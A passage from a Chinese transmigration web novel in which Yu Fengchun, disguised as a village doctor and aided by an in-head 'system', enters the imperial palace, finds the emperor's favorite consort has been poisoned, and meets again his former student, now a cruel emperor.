宫人甩甩袖子,白净的脸上露出一抹笑。
“你叫什么名字?”
余逢春:“江秋。”
“江秋……”宫人点点头,吩咐手底下的人去查余逢春的户籍档案。
“你当真要试试?”他细声问。
余逢春不好意思道:“我家中遭难,现下也没什么亲人了,既然宫中要人,我试试,应当也没什么吧?”
当然没什么,进宫是造化,死在宫里,也算是福气。
梁妃生病,陛下已气了好几日了,前两日刚从大明殿抬出具尸体,内官琢磨着这么杀下去也不是个事,还是得找个背锅的,让陛下出气才行。
宫人没所谓,点点头。
“那你随我来吧。”
他带着余逢春上了马车,几名官兵守在马车四周,若有若无地挡住余逢春向外的视线。
其实不用看也知道,外面那些人大多都清楚余逢春这一去,十有八九是个死。
皇帝的凶残无人不知,召集天下名医的皇榜已挂了许多日,甚至在风吹雨晒下还换了两次,极少人敢上前揭榜,余逢春是第一个主动凑上来的。
到底是初生牛犊,不知宫里凶险,哪天被打死抬出来,往地里一扔,变成肥料,就能下去和全家人团聚了。
……
车上,宫人清清嗓子,不再刻意压低嗓音。
“你虽把自己说的有些能耐,但咱家还是得考考你。”他说,“待会儿有个病人,你得为他诊治一番,有效果,咱家才能带你进宫。”
余逢春应了一声,又问:“不知公公……”
宫人会意:“咱家姓王。”
“王公公,”余逢春很上道,“梁妃娘娘病的很重吗?”
王公公瞥了他一眼,神色凌厉。
“这个咱家可不能随便说,你要是有本事进宫,自己去瞧吧。”
说罢,他闭上眼睛,显然不再准备理会余逢春。
余逢春也明白他的意思,稍微调整了一下坐姿,让自己更舒服些,马车内陷入沉默。
脑子里,0166发问:[你准备这么进宫?]
“也没更好的办法了。”
余逢春低头拍拍衣服上的灰,发觉这身衣服实在有些不体面,脏得很,不伦不类的,难怪他说自己是乡下人的时候没人否认。
[可你并不懂医术,]0166指出,[你可能会治死人,或者侥幸进宫被发现,然后乱刀砍死。]
余逢春漫不经心:“我还是会一点儿的,而且这不有你吗……不过你注意到没有?”
[什么?]
“我刚才只说我懂医术,并没有显露出半点真才实学,他竟然就直接带我走了。”
[什么意思?]
“一般公宫里向外选人,必定是层层选拔,只找最好的那个,可皇上的妃子病了,这种大事他居然随便在外面拉了一个人就走。”
余逢春语气凝重,“这已经不是不尽心的问题了。”
这说明皇帝下的命令,底下人根本就没准备好好照做。
当阴奉阳违蔚然成风,皇权便岌岌可危了。
从心里叹了口气,余逢春敲敲膝盖,觉得自从进到这个世界,自己整个人都沧桑了很多。
他真的想不通,原先挺好的孩子,温良端肃,亦有杀伐决断之风,一心只想着为国为民,怎么现在长成这样了?
他不过是死了几年,世界怎么能天翻地覆?
果然还是要见一面才能清楚。
*
*
*
王公公把余逢春带到一处私宅,先前去查验户籍身份的官兵已经回来了,向王公公点头,暗示查验无误,余逢春身家清白。
从开始到现在没出什么岔子,王公公很满意,带着余逢春走进宅中,已有人在那里等候。
“江大夫,你来看看,”
王公公细长苍白的手指点住站在屋子边角的一个人,“他是什么病啊?怎么治?”
宅子
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建得很阴凉,室内更是有凉风吹来,余逢春死而复生,身体很弱,不自的就感觉到一阵凉意。
他咳嗽一声,朝着那人走去,注意到随着脚步声的逼近,那人身子哆嗦了一下。
余逢春在病人面前停住。
中医讲究望闻问切,第一步便是望。
余逢春注意到,病人虽说体格消瘦,但手指上有龟裂和老茧,且骨节粗壮,皮肤黢黑,看得出来是个常年劳作的庄稼人。
只是既然是靠卖力气为生的庄稼人,为何会瘦成这样?
余逢春凑近一些,轻声道:“麻烦您伸出双手,在我面前张开。”
病人不语,只按照余逢春的指示照做。
一双粗大的手在身前张开,伸直手指时,有快而细微的颤动。
一个猜测在脑中浮现。
余逢春伸出两指,按照0166的指示,搭在病人的脉搏处。
脉搏增快非常明显,感受片刻后,他问:“近日是否常有心悸,易出汗,且消瘦许多?”
病人连连称是。
站在远处的王公公满意点头。
“是否容易发脾气?且常呕吐腹泻?”
病人继续应声,看余逢春的眼神已然是看良医的模样。
问到这里,余逢春心里已经有了答案。
收回手,他端正姿态,走到王公公面前,略微鞠了一躬。
“大人,如果我没诊断错的话,这位病人应当是有肝火心虚之症,且不平常。患病时易发怒,常有心悸,体重减轻且易烦躁不安。更有甚者会剧烈呕吐,昏迷。”
王公公笑了一声,尖着嗓子问:“那依江大夫看,该怎么治?”
余逢春咳嗽一声,低声道:“这病不常见,但祖父曾治过许多,依我看,一可施针,二可用药。”
“您说说怎么用药?”
“……”
余逢春思索片刻,道:“龙胆草,一钱至三钱,水煎服,每日一剂;外加海藻、昆布各一两至二两,水煎服,每日一剂。或可再添山栀三钱,大黄一钱至二钱,夏枯草三钱……”
他语速不快,但一字一句格外清楚,有专人将药方记录下来,等余逢春说完,记录也递到王公公手上。
王公公一扬手,挡开。
“咱家不用看了。”
他面上多了几分恭敬,语气和缓起来,对着余逢春说:“江大夫是有真才实学,咱家这就回禀,择日带您进宫,您先在此处住下,有需要,吩咐手下杂役即可。”
余逢春没有不同意的道理,果断应下,病人叩头后带着药方离开,王公公也有要事去办。
余逢春自己留在原地,没一会儿就有仆人上前,恭敬地带他去了客房。
“江大夫有任何事,都请吩咐下来。”丫鬟声音低柔,低头时露出一截白净的脖颈,“奴婢都会照做。”
余逢春这时候确实有事吩咐。
“去打盆热水来,”他说,“再给我弄套衣服。”
说完,他低下头,貌似嫌弃地扯了扯衣摆。
刚从破庙醒来,身无分文,身上的衣服也没处去换,幸好余逢春死前没穿多华贵的衣料制成的衣服,不至于惹人怀疑,但保不准主角还认得这一件,干脆还是换了保险。
丫鬟应下,余逢春推开客房走进去,发现屋内装饰素雅齐全,饭菜已经在桌上准备好了。
先前不觉得有什么,一闻到饭菜香,余逢春才发现自己饿了。
吃完饭,洗完澡,干干净净躺在床上,余逢春和0166有一搭没一搭地聊。
夜色已深,余逢春丝毫不见睡意,0166很疑惑,在上个世界他可是见床就睡。
[……你不困吗?]它不由得问。
余逢春:“不困。”
[什么吗?]
“什么为什么?”余逢春不耐烦,“就是睡不着。”
这可不对劲,0166戳穿他的伪装:“你在害怕。”
余逢春反驳:“胡说,我有什么好害怕的。”
[不清楚,但肯定和主角有关系。]
“……”
0166脑子不好使,直觉倒还挺准。
余逢春确实有点慌,但不是因为他怕主角。
——八年前,也就是他死之前,余逢春曾和主角大吵一架,扬言此生不入京师。
也不知主角有没有当真,更不知若主角看见他,会是什么心情。
24. 重逢
王公公办事很快,余逢春刚在私宅住下两天不到,入宫的旨意便传了下来。
低头叩首,余逢春高喊万岁时,发现传旨的内监自己曾经见过,是实实在在的主角身边的人。
接旨起身,余逢春还没来得及说什么,王公公就迎了上去,笑容谄媚。
“卫公公,今儿怎么是您来?”
来传旨的卫贤拍拍袖子:“圣上看中娘娘。”
这就是他给出的说法。说完以后,卫贤挑剔的目光望向余逢春。
“王喜,这就是你给娘娘找的大夫?”
他问道。
王喜面上笑意僵住,有些无措,但还是强撑着道:
“卫公公,你别瞧他年轻,本事大得很,况且他祖父一直给那些乡下人看病,虽然比不上宫中太医见识深远、德高望重,但说不定知道些乡下偏方……万一就派上用场了呢?”
这个说法也有点道理。卫贤若有所思地点点头。
梁妃久病缠绵,宫里太医是出尽百宝,想要为其医治,但顶多有些起色,治标不治本。
眼看着娘娘玉体亏损,皇上发了好几次火,殿里的琉璃盏一天碎好几个,师傅都急疯了。
所以不管什么招,都先用上看看吧,总别让他们都为娘娘陪葬。
想通这个关节,卫贤点点头,漫不经心地接受王喜的讨好,将几锭银子塞进袖子,冲着余逢春一甩浮尘。
“江大夫,请——”
“……”
要进宫了,说不紧张是假的。
余逢春回头看了一眼,仿佛手足无措地低头整理衣服,等卫贤有点不耐烦了,才茫然地“啊”了一声,急忙忙跑进马车。
王喜在后面脸都笑烂了,只盼着这个乡下大夫别给自己惹麻烦,被打死也没事,千万别扯到自己身上。
可现在再求也没用了,人都要进宫了,王喜这才感觉到点害怕。
他低咒一声,笑容满面地盯着马车驶远。
等车拐过街口,彻底看不见了,王喜才甩甩袖子,嘱咐旁边的家丁。
“明天去观里替我上两柱香,求真人保佑。”
家丁应下,王喜又问:“江秋这几日在屋里都干什么了?”
丫鬟低声道:“没干什么,就是吃饭睡觉,偶尔看点书。”
“没干别的?”
“……”丫鬟有些迟疑,犹豫片刻后道,“他说话神神叨叨的,有时候盯着窗外发呆,夜里常听见咳嗽声。”
王喜听了,觉得没什么大毛病,放下心来。
“日子难过呀,”他感叹道,“活难做,屎难吃。”
*
这句粗话,现在也回荡在余逢春脑子里。
卫贤已经不是曾经那个说话做事布楞布楞的小东西,冷淡得很,说话做事自有一种干活干多了的苦命人的刻薄。
余逢春跟他坐在同一辆马车里,几次犹豫后缓缓开口:“公公……”
“什么事?”
卫贤斜眼瞥他。
余逢春暗自深呼吸:“进宫以后,我……”
“——梁妃娘娘是陛下心尖上的人,独宠后宫,怎么可能直接让你诊治?”
卫贤打断他道:“进宫以后会给你安排住处,你得先在太医院学学规矩,才能为梁妃娘娘请脉。”
余逢春:……
意思就是他还不能去见主角,九九八十一难才趟过去一半,后面长着呢!
0166怕他任务激情减退,安慰道:[没事,你可以先想想借口。]
“……”余逢春嘴硬,“有什么好想的,只要他认不出我,那我干嘛要解释?”
0166反问:[你不表露真身,主角怎么会跟你敞开心扉?]
此话一问出,直接将余逢春的倔脾气激了上来。
“我不会让他认出我的。”
他坚定地说,“我绝对不会让他认出我。”
[……]
0166在上帝视角里,居高临下地打量着余逢春指天画地。
片刻后,它开口:[不可能。]
余逢春冷笑,不屑于和这个满脑子机械零件的系统争论。
刚才其实是在和0166赌气,但细想之后,余逢春忽然觉得这个决定还挺有些道理。
他走之前,和主角闹的矛盾太大,两人在情急之下说了很多不该说的话,伤了彼此的心。
与其费太大力气修补伤痕,还不如一切从头开始。
八年过去了,物是人非,换张新的脸,换个新的人,说不定对彼此都好。
况且主角现在都有了很心爱的女人,想必已经不再抱着八年前的心思了吧……
*
*
*
马车摇摇晃晃,驶进了皇宫。
按照之前的说法,卫贤果然将余逢春送进了太医院。
一进门,余逢春便□□枯苦涩的药材气味包裹,混着点说不清道不明的尘土气息,让人心慌。
自从梁妃生病,卧床不起,太医院便一直陷在忙碌焦灼的氛围中,余逢春进门的时候基本没有得到任何人的关注,直到一个帮忙的小太监发现了他,跑去告诉院判。
当今太医院院判姓赵,已年过六十,皱纹满脸,花白的胡子修得相当齐整,看人时表情很严肃。
“你是新来的?”他问余逢春。
余逢春连忙摇头:“是卫公公带我来的,要我一同为梁妃娘娘诊治。”
他这么一说,赵院判就明白了。
“你去那边。”
枯瘦的手指随意指向房间角落,那里正坐着两个人。
余逢春眨眨眼,发现那两个人也没穿太医院院服。
这意味着他们也是民间选上来的,比余逢春早到几天,现下正在太医院里当珍贵摆设。
余逢春走过去,隔着两堆医书和他们打招呼。
被晾了这么些天,那两人也没有刚来时的心高气傲,挺和气地和余逢春问好,还给他让了个空位出来。
“在这儿坐着吧,”两人中那个看着年轻些的圆脸青年说,“再过两个时辰就有午饭了。”
余逢春转过身,看着不远处那些或翻阅医书或进行试药的太医,问道:“我们就在这儿坐着,不帮帮忙?”
“有什么好帮的?”
坐在圆脸青年旁边的那个老者阴沉沉地开口:“人家看不上我们。”
“哎,刘大夫,别这么说,您是雍王特地举荐,谁敢看不上您?”圆脸青年连忙打圆场,“娘娘病情复杂,我们得先研究研究脉案。”
说完,他抽出一本还未翻阅的脉案,递到余逢春面前。
余逢春接过,明白了。
感情把他们找来,不是真心喊他们帮忙,而是想在死到临头的时候找仨替罪羊。
好在余逢春的目的也不是真在太医院干出一番事业,既来之则安之,想到两个时辰后的午饭,余逢春索性安心坐下,带着0166研究起梁妃的脉案。
0166看了一会儿,说:[梁妃的身子骨可以啊。]
“怎么说?”
[过往她的脉象平稳有力,节律齐整,不沉不浮,而且她出身工匠,小时候又跑又跳,长大后吃饱穿暖,不该生大病。]
“会不会是在后宫害怕紧张,吓出来的?”余逢春猜测。
0166沉吟:[那也不应该生这么大的病,有没有可能是投毒?]
余逢春皱眉:“不该啊,这和我当时的症状也不像。”
0166反唇相讥:[凭什么谁中毒都得和你症状一样?]
这话倒也没错,但如今梁妃突生重病,太医院可以说是束手无策,余逢春很难避免地想到了曾经他中的毒。
那味毒药,被系统列为无药可救,是专门用来终结主角的,沾了非死不可。
即使当时的他们能找到解药,服下也不会有任何效果,余逢春替主角喝下了毒药,当然也要替主角去死。
——而直到他毒发身亡,下毒之人都没有找到,这是余逢春的心病。
……
“如果不是中毒,那还能是什么呢?”
盯着一本接一本的脉案,余逢春百思不得其解。
[得见她一面才知道,]0166也说,[昨晚我升级了扫描系统,目前登记在案的疾病我都能扫描出来。]
余逢春毫不犹豫地给予夸赞:“你是最棒最负责的系统!”
[那当然。]
0166满怀雄心壮志:[这次我们要冲击90分!]
余逢春没有任何异议。
于是一人一统暂且缩了起来,等待一个见面的机会。
而这个机会很快就来了。
在太医院吃了三天员工餐以后,余逢春差不多能把梁妃的脉案倒背如流。
夜晚来临,太医院里烛火明亮,余逢春坐在自己的那把小板凳上,让圆脸青年抽查自己。
一旁的刘大夫瞅他俩,像瞅两个不知人间疾苦的乐呵傻孩子。
他咳嗽一声,回忆往昔:“我有个孙子……”
按照这个话题聊下去,估计再过几分钟,他俩就要和刘大夫的孙子齐头并进了。
余逢春笑笑,想转移话题,然而刚要说话,
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门口忽然传来一阵急促的脚步声。
“皇上有旨,召太医院速去春熙宫!”
梁妃又发病了。
*
*
*
果不其然,余逢春连带其他两个民间大夫一起,被赵院判带进了春熙宫。
刚踏进宫门,余逢春便闻到一阵馥郁的香气,氤氲厚重,夹杂着丝丝缕缕的药味,闻着让人心口发闷。
宫殿里珠帘轻垂,金碧辉煌,世人皆道梁妃得宠,不是没有道理,单看宫殿里随意一座装饰,便价值千金。
细微的喘息声在帘内响起,殿内气氛格外压抑,宫女太监跪满殿内,余逢春从一地陶瓷碎片上踩过,同另外两人跪在角落。
“赵太医。”
一个格外熟悉的声音从前方传来,仿佛丝绸划过脊背,激起余逢春一阵不露痕迹的轻颤。
冒险抬起头,在层层叠叠的珠帘绸纱后面,余逢春终于见到了阔别八年的当今圣上。
离别时还是清俊的少年模样,再见已经完全长开,剑宇星眉,气度不凡。
因轮廓太俊朗,将世人口中的暴虐荒淫之态一并遮住,所以看不出昏庸端倪。
他着一身黑金龙袍,发髻扎得松散,几缕发丝从耳边垂下,不成体统。但即使是暴君,也是相当英俊的暴君。
仿佛察觉到有人窥视,皇上朝余逢春的方向看来,一双眼眸似刀剑般锋利,熟悉得让人胸口发疼。
余逢春急忙躲开,深深叩首。
只一眼而已,他便像是无法再承受更多。
赵院判颤颤巍巍地上前回话,一把老骨头险些趴到地上,声音也哆嗦个不停,生怕说错一句话被砍了分成两段抬出去。
余逢春默默听着,心里有千百思绪回转。
“……你知道吗,我一直不明白。”他对0166说。
0166:[不明白什么?]
“为什么他们都长得一样?”
余逢春问,声音里有很罕见的迷茫。
他跪在地上,发丝遮住表情眼神,唯有语气听得出浓重的困惑。
“又为什么他们都叫邵逾白?”
余逢春试着无视过,但如今见面,问题还是不容逃避地凑上来。
……这个世界的皇帝,和上个世界的联盟元帅,有同一张脸。
只不过上个世界的邵逾白久经沙场,瞧着更刚毅坚决,而这个世界的邵逾白则在权谋中浸泡久了,眼角眉梢中多了几分阴狠暴戾。
余逢春分得清,又时常分不清。
0166告诉他答案。
[这其实是任务世界内部的一个早期设置,方便宿主更好地融入角色。]它解释道。
“怎么方便了?”余逢春反问,“我经常会分不清他们谁是谁。”
[根据系统空间的检测统计,这张脸,是你最喜欢的,]0166说,[正确率高达98%。你可以把他们当成同一个人。]
后半句话极不负责,可落在余逢春耳中,却惊起一阵细颤。
余逢春:“……”
他想否认,想说他就在那2%里,但刚要张口,一连串的证据便从他脑海中像胶片一样滑动。
余逢春闭上嘴,以免自取其辱。
而这时,一直保持死寂的殿内忽然有人开口。
“从民间选上来的大夫,是哪几个?”
问话声柔和低沉,带着大权在握的漫不经心,问话人知道没人敢忽视自己的问题。
来不及思索太多,余逢春本能向前,和其他两人跪在一起。
“草民江秋,叩见皇上。”
闻听此言,一直翘着二郎腿坐在椅上,并不见急切慌张的邵逾白,眉毛忽地一挑。
“江秋?”
他若有所思地重复,手指拨弄着腕间珠链,而后吩咐,“抬起头来。”
余逢春依言抬头,没有错过邵逾白眼中闪过的一瞬间的遗憾可惜。
他还没有忘。
“……卫贤跟寡人说,你懂很多乡野偏方,”邵逾白的思绪飘去别的地方,心不在焉地点点梁妃所躺的床榻,“去看看,看看寡人这爱妃到底怎么了,为什么又昏迷不醒?”
余逢春连忙叩首应下,还未来得及说一言半语,就听到邵逾白又道:
“寡人向来赏罚分明。你若看得出来,寡人赏你百金,若看不出来——”
余逢春抬起头,不期然看到了邵逾白眼中的阴鸷狠毒。
低柔和缓的声音中忽然插进难以忽视的恶意,仿佛青玉染上脏污的墨色。
“——就把你的舌头割下来。”
25. 便宜学生
关于孩子是怎么长成这样的,余逢春毫无头绪。
舌头很重要,不能被割,余逢春也没心情检测邵逾白是不是真要割他舌头。
诚惶诚恐地跪地磕头后,余逢春站起身,两步一哆嗦地走至床边,侍女拉开层层帷幔伴随着甜香的气味,余逢春隐约看到一名妙龄女子躺在床上,呼吸微弱。
一众目光均落在他身上,余逢春只来得及看一眼便快速收回视线,端端正正跪在床边。
一名贴身侍女走上前,小心翼翼地将梁妃的手腕从被褥中拿出,盖好帕子以后等着余逢春请脉。
殿内气息凝重得几乎要滴出水,赵院判从刚才邵逾白说要割舌头开始就脸色惨白,仿佛割余逢春舌头的时候,也会顺便把他的脑袋一起割了。
其余两名民间大夫更不用说。
即使心里清楚这一进宫可能没法活着出去,但骤然听到如此血腥的威胁,还是不由得吓走两魄,跪在地上暗暗祷告天地神灵,求他们保佑。
而将气氛制造得如此令人惊惧的始作俑者,却在此时完全脱离,挑起一副戏谑的模样,饶有兴致地盯着余逢春的背影,好像准备看看他有什么能耐。
一身团金肃黑龙袍硬生生让他穿出游园公子的轻佻散漫。
余逢春能有什么能耐?
0166:[把手放到手腕上,保持皮肤接触,我来探查一下。]
“要多久?”余逢春问。
他摸得到梁妃的脉搏,微弱平稳,指腹下面一片冰凉,即使余逢春在医学上并不精通,也知道她的状态不好。
身后有束炽炽如火的视线,落在余逢春身上仿佛要将他点燃,带着难以理解的琢磨和审视,不像看大夫的眼神。
余逢春适应不来,总觉得再多摸几秒会有人把自己拖出去。
然而0166做事有自己的节奏。
[再等等。]它说。
又等了半柱香,赵院判看着要昏过去了,另外两人也是抖如筛子,0166才结束检查。
[她中毒了。]
闻言,余逢春指尖哆嗦一下。
“是那个?”
0166沉默片刻,道:[不是。]
余逢春松了口气,不是那味毒药就好,只要不是,就有救的机会。
[但很像,疑似是那味毒药的变种。]
余逢春:……
他忍不住抱怨:“你能不能把话说全了?”
[放心,死不了,毒应当不会要了她的命。]
“……”
与0166合计完,余逢春放下手,跪在原地沉思片刻。
虽然真的不想承认,但梁妃遭了这么多罪,恐怕是因为邵逾白。
当今圣上没有立后,宫中仅有两三妃子,梁妃最得宠,几乎是一人独占雨露,家人也跟着升天享福。
这泼天的富贵从另一面看,其实也是泼天的灾祸。
梁妃就是后宫的靶子。
当年被余逢春饮下挡住的毒药,终究还是流向了邵逾白。
只是下毒之人究竟是谁,又为何给梁妃下的是毒药变种,邵逾白是否知道,他有没有中毒?……
疑问多得像撒在地上的细米,捡也捡不起来,看又看不清楚,余逢春垂首轻叹一声,起身走至邵逾白身前,再次跪下,盯着他衣摆上的祥云纹路发愣。
“怎么样?”
衣摆微动,邵逾白没有显露出一丝一毫的不耐,柔声问道。
余逢春斟酌着字句。
“回禀陛下,娘娘如今昏迷不醒,且常有病痛,恐怕是……”
声音渐渐低下去,几不可闻。
“怕是什么?”
余逢春低着头,看不见邵逾白的神情,可即使看不清,也能在气氛的变化中感受到面前男人正在皱眉。
如今宫殿里人多眼杂,实话肯定是不能说的,但要是说的一点沾不上边,恐怕也不能糊弄过去。
余逢春心一横,再度叩首,大声道:“恐怕是娘娘殿中有些与玉体相冲的装饰摆件,致使娘娘体内毒素积累,长年累月,致使毒发!”
此言一出,面前人还没什么反应,余逢春只听到后面传来咕咚一声,接着就是小太监惊慌失措的禀报:
“皇上,赵太医晕倒了!”
可怜的赵院判,一把年纪受此惊吓,晕倒也算是保命了。
太医院上下都清楚,梁妃此症绝不可能与中毒有关,倒像是长年累月心神受损的亏耗之症,逐渐消磨精神气力,把人磨得灯枯油尽。
最近的这些汤药诊治都是照着这个思路进行的,也确实有所成效,余逢春却说娘娘是中毒,岂不是在打太医院的脸。
底下的人选大夫,怎么选了个如此无用的上来?成心惹陛下不痛快!
众人只恨自己不能跟着晕过去。
死寂将大殿笼罩。
邵逾白不发话,没人敢将赵太医带走,因此宫女太监只能瑟瑟发抖地在原地等待,暗自揣测这次流的血要洗多久才能刷干净。
而在一众慌乱恐惧的人群中,余逢春却保持着平静,仿佛对自己的诊断深信不疑,也对邵逾白的品性深信不疑。
这样的信任,刺得人眼疼。
良久后,邵逾白缓缓开口,声音难辨喜怒。
“来人。”
守在门口的侍卫迅速踏进宫殿,邵逾白摆摆手。
“把赵太医拖下去,让他好好养病。”
侍卫听命,两名侍卫迈出队伍,一人拖着赵太医的腋下,另一人拽着他的脚,把他抬了出去。
短暂的挪动声后,大殿又恢复安静。
从刚才开始便翘着二郎腿看戏的邵逾白终于变换姿势,赤金团龙从眼前一闪而过,邵逾白微微向前弯腰,修长的手指掐住余逢春的下巴,不容拒绝。
“把头抬起来。”他命令道。
不得已,余逢春顺着他的力道抬起头,一双眼睛与邵逾白对上目光,尔后又很快移开,貌似无措地垂眸。
冰凉的指腹缓缓蹭过余逢春的下颚,又顺着骨头的轮廓向上摸去,压在余逢春耳后,旖旎中掺杂着冷淡的观察。
余逢春背后起了一层鸡皮疙瘩。
这不对劲,这太不对劲了,哪有正经皇帝第一次见面就去摸人家脸。
余逢春清楚,他换的这张脸很普通,就是个乡下青年的模样,算不上好看,也算不上难看,不至于勾的邵逾白色迷心窍。
况且这个摸法不像是欣赏,倒像是在寻找什么……
难不成已经认出来了?
这个问题注定没有答案,八年未见,邵逾白已不是曾经那个清风朗月的少年君子,一双黑眸中,心思深不见底,难以看透。
即使余逢春想知道,与他对视时,也只能看到深深的暗色。
好在邵逾白没摸太久,在气氛真正变得诡异之前,他收回手,站起身来。
更大的阴影扑下,衣摆上的纹路转了又转。
“行,既然你说梁妃是中毒,那便治治吧。”
见皇帝起身,一旁守候的内监迅速拥上前来,跪在余逢春旁边,替邵逾白整理腰带衣摆。
盯着余逢春垂首时露出的一截脖颈,邵逾白眸中闪过什么,随意道,语气冷淡:“这几日江大夫就不必离开宫中了。”
余逢春叩首,心想这孩子还没真蠢到黑白不分。
吩咐完,邵逾白便离开了。
做国君,还是昏君,平日里的乐子当然多的数不清。
梁妃固然重要,但关心一阵子,再选定大夫,也就差不多了,难不成还真指望皇帝成天到晚陪在榻前?
余逢春只来得及望见他的背影。
数年不见,清瘦的少年已长成身材修长挺拔的男人,只是不知是不是余逢春的错觉,他总觉得邵逾白比曾经还要瘦一些,手也凉得吓人。
离去的背影嵌在浩浩荡荡的侍从中间,无端让人琢磨出物是人非之感。
*
*
*
于是余逢春在皇宫外侧,靠近太医院的地方住下。
照理说,这是不合规矩的,外男不能夜宿宫中,但邵逾白的规矩才是真的规矩。
他说让留,底下人多说一句话就要被拖出去砍了,谁都不敢提出异议,最后协商的结果是让七八个侍从跟着余逢春,走哪儿跟哪儿,以免他有歪心思。
余逢春没有拒绝的资格,只能勉强安慰自己说前呼后拥也很有气势。
昏迷三日,梁妃终于醒来,但也只清醒了不到半个时辰,就再次睡了过去。
好在药是能喂下去的,状态也算稳定,0166一直密切观测着她的身体状况,告诉余逢春没必要过于担心。
[这次的毒很有意思,会损耗身体,消磨精神,但不会真要了她的命。]0166说,[而且因为是毒药变种,存在治疗成功的可能,给我一段时间。]
它已经被激发出斗志,暂时放弃了小说和看小说,全新投入进解毒的研究中。
而且余逢春还在偶然间听到0166拒绝了一个邀请他参加的签售会。
九十分对一个常年飘在及格线上的系统来说,有着不可抵挡的诱惑,多少空间币都没办法替代。
眼下最紧急的任务被0166
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接手,余逢春一时间竟陷入了无所事事的状态中,每天最多的事就是窝在房里假装用功,然后在一众侍卫宫女的监视下去春熙宫内转一圈,确定梁妃状态,然后再次回访。
邵逾白没再来过,听交接的侍卫说,他出宫了。
“这时候出什么宫?”余逢春蹲在炉子前,一边烤火一边剥红薯吃。“听说外地有饥荒,可别被人家埋伏着砍死。”
[不会的,邵逾白出宫不仅带了自己的亲卫,还有京师宿卫,而且来回的路上都清过,不会有闲杂人等。]
0166百忙中抽出空和他聊天。
[而且……]
余逢春眉心一动:“而且什么?”
[而且饥荒快解决了,]系统说,[里外都说是丞相的功劳。]
余逢春:“……”
他把拨火用的钳子往地上一扔,很恼火:“这丞相到底是谁啊?”
门外的太监听见屋内传来异响,问都没问,直接推门进来,然后就看到余逢春盘腿坐在地上,腿边扔了一堆红薯皮。
想道歉离开,余逢春瞅见他,眼神忽的一亮,连忙招手:“快过来!”
小太监今年刚满十六,挺活泼,加上伺候的不是贵人,因此少了很多尊卑的拘束。
见余逢春叫他,二话没说就关上门,在余逢春旁边坐下。
余逢春递给他一块红薯,“吃吧,刚烤好的。”
小太监接过,左右看看后剥开皮,吃了一小口。
屋子里灯光很暗,炉火烧旺时会发出噼啪的响声,余逢春盯着火苗看,身旁有个孩子在吃东西。
这样的场景,多年前也有过许多次。
等小太监把红薯吃完,余逢春问道:“你叫什么名字?”
“总管赐我一个单(chán)字,”小太监说,用手在地上写了一下,“江大夫叫我小单子就好。”
单通馋,总管挺会起的。
余逢春笑着点点头,若无其事地问:“我进京时,听说附近有些地方正在闹饥荒,也不知道怎么样了……饥荒大了容易滋生疫病,很危险啊!”
小单子没多少心眼,听余逢春这么说,当即道:“已经没什么事了,灾民都安顿好了,各地都拨了赈灾粮去,很快就能继续安居乐业了。”
“这么快?”
“是啊,丞相大人向来是雷厉风行的。”小单子点点头,“我朝有丞相,是福气。”
余逢春也赞同,不过仍然很疑惑。
“说来惭愧,我少时跟着祖父四处行医,从未了解过这些,只知丞相功绩,却不知丞相姓甚名谁,是何等人物?”
小单子闻言笑了一下,有点得意,大概是觉得自己也有点能吹嘘的东西。
他乐呵呵地讲道:“当今丞相姓万,是京城万氏,先皇时入仕,师承余逢春,与陛下算是同门。”
骤然听到自己的名字,余逢春眼皮猛跳。
他的学生?他怎么不知道他有个学生姓万?
哪儿冒出来的?
余逢春脑子都乱了,万万没想到这堆破事居然还能扯上自己。
“不是,我以前还收过除了邵逾白以外的学生?”他跟0166确认,很担心自己是不是脑子出问题了。
0166要相对冷静一些:[没有,但是确实有个姓万的,一直想当你学生。求了很多次,你都没同意。]
它这么一说,余逢春也想起来了。
“万朝玉?”
小单子一听,连忙拍他的胳膊:“你怎么能直呼丞相大名!”
……还真是他。
余逢春眼前顿时划过一个青年才子的形象。
万朝玉此人,出身名门望族,年少成名,满腹才华,曾以求学为名,多次拜见余逢春。
其实照着万朝玉的资质,是有资格当他学生的,但余逢春见他第一眼就觉得这人心术不正,眉眼间一股刁滑姿态,再加上之前在庙中借住时,余逢春曾见过他欺辱奴仆,便果断拒绝。
没成想多年前拒绝的冤孽,竟在今日又落到头上。
面对小单子的惊讶,余逢春含糊一番,又递了块红薯,把事情糊弄过去。
眼下夜色已深,加上余逢春脑子乱得厉害,只想赶紧躺下理理思绪。
可没想到,他和小单子刚收拾好地上狼藉,还未来得及送客,就听见一阵脚步声停在门口。
打开门,门外正是随圣驾出宫,三日未见的卫贤,锦衣蟒袍、面白如纸,像只深夜敲门的鬼。
见着余逢春,卫贤咳嗽一声,扬起嗓子道:
“皇上有旨,宣江秋入大明殿觐见!”
26. 斯人
夜深时分,皇帝召见。
看卫贤的衣着服饰,想必是圣驾刚回銮便将他叫去,也不知道这么着急是为了什么——
难不成是见梁妃迟迟不醒,所以生气了?
余逢春想不出个所以然,只能跟在卫贤身后,一路行至大明殿。
大明殿作为皇帝居所,白日时日光照耀,金碧辉煌、宏伟壮丽,无人不赞叹其威仪。
可夜晚降临,余逢春停在殿外,发现侍从竟然只点了几支烛火,燃烧透出的昏黄亮光若隐若现,在华贵的雕梁画栋也看着吊诡阴森。
卫贤快走几步,走向守在大明殿外的一人,声音恭敬:“总管,人带到了。”
“晚了点儿,”那人说,“皇上等着呢!”
余逢春循着声音传来的方向看去,看到那人是个高个儿,穿着都太监的服饰,说话时神情比卫贤和气,大概四五十的年纪。
“江大夫。”
等和卫贤说完话,那名太监走到余逢春面前,朝他躬身:“夜深露重,劳您前来,皇上想问您些话。”
余逢春在朦胧的烛火中看清了太监的脸,发现也是熟人。
“不劳烦,皇上召见,什么时候来都是应该的。”他也弯腰躬身,“不知这位公公……”
“我姓陈,单字一个和,宫里人喜欢叫我和公公。”
陈和说,语气很和善,平易近人,不像跟在皇上身边的首领太监。
但这些都是表象,如果说余逢春之前还很担心邵逾白的生命安全的话,看见陈和,他就放心了。
开泰二年,先祖皇帝下令建邵和军,作为皇帝私卫,隐于人后。
余逢春不是皇室中人,因此无缘得见其全貌,但陈和,是先帝特地留给邵逾白的私卫之一,完全忠于绍齐皇室,武力高强,平日里和善亲厚,实则功夫了得,有于万军中取人首级的本事。
“和公公,”对待陈和,余逢春一向尊敬,“我直接进去吗?”
他若有所思地往里看,单看烛火亮度,像是人已经睡了。
陈和则见怪不怪。
“陛下不喜亮光,因此灭了许多。”他说,“您进去就好,里面有人服侍。”
话音刚落,杯盏摔在地上的清脆碎裂声响起,显然有人等的不耐烦了。
陈和连忙推开门,不再言语。
余逢春也着急忙慌地迈进去。
